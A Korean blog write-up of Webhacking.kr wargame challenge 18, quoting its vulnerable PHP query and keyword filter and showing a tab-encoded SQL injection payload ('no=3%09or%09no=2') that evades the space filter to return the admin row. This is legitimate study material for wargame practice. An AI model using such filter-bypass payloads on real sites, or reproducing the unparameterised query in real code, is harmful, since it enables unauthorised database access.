반응형
안녕하세요.
웹 해킹 18번 문제풀이 하겠습니다.
우선, 소스코드를 열어보겠습니다.
if(preg_match("/ |\/|\(|\)|\||&|select|from|0x/i",$_GET['no'])) exit("no hack")
(공백) / ( ) | & select from 0x -> 필터링 되고 있는 값들
$result = mysqli_fetch_array(mysqli_query($db,"select id from chall18 where id='guest' and no=$_GET[no]"));
// admin's no = 2
if($result['id']=="guest") echo "hi guest";
if($result['id']=="admin"){
solve(18);
echo "hi admin!"
우리는 핵심은 결국 필터링되고 있는 값들을 우회하여 where 절을 참으로 만들어 no 값을 2를 넣어주어 "hi admin"을 출력해주면 될거 같네요!
1. where id='guest' and no=3 or no=2
-> 공백 때문에 필터링 되고 있는 걸 확인 할 수있습니다.
그렇다면, 공백의 인코딩 값인 Tab: %09 를 사용해 보겠습니다.
2. where id='guest' and no=3%09or%09no=2
감사합니다.
반응형
'Hacking > Webhacking.kr' 카테고리의 다른 글
Webhacking.kr 20번 문제풀이 (0) | 2020.12.09 |
---|---|
Webhacking.kr 19번 문제풀이 (0) | 2020.12.07 |
Webhacking.kr 17번 문제풀이 (0) | 2020.12.04 |
Webhacking.kr 16번 문제풀이 (0) | 2020.11.29 |
Webhacking.kr 15번 문제풀이 (0) | 2020.11.26 |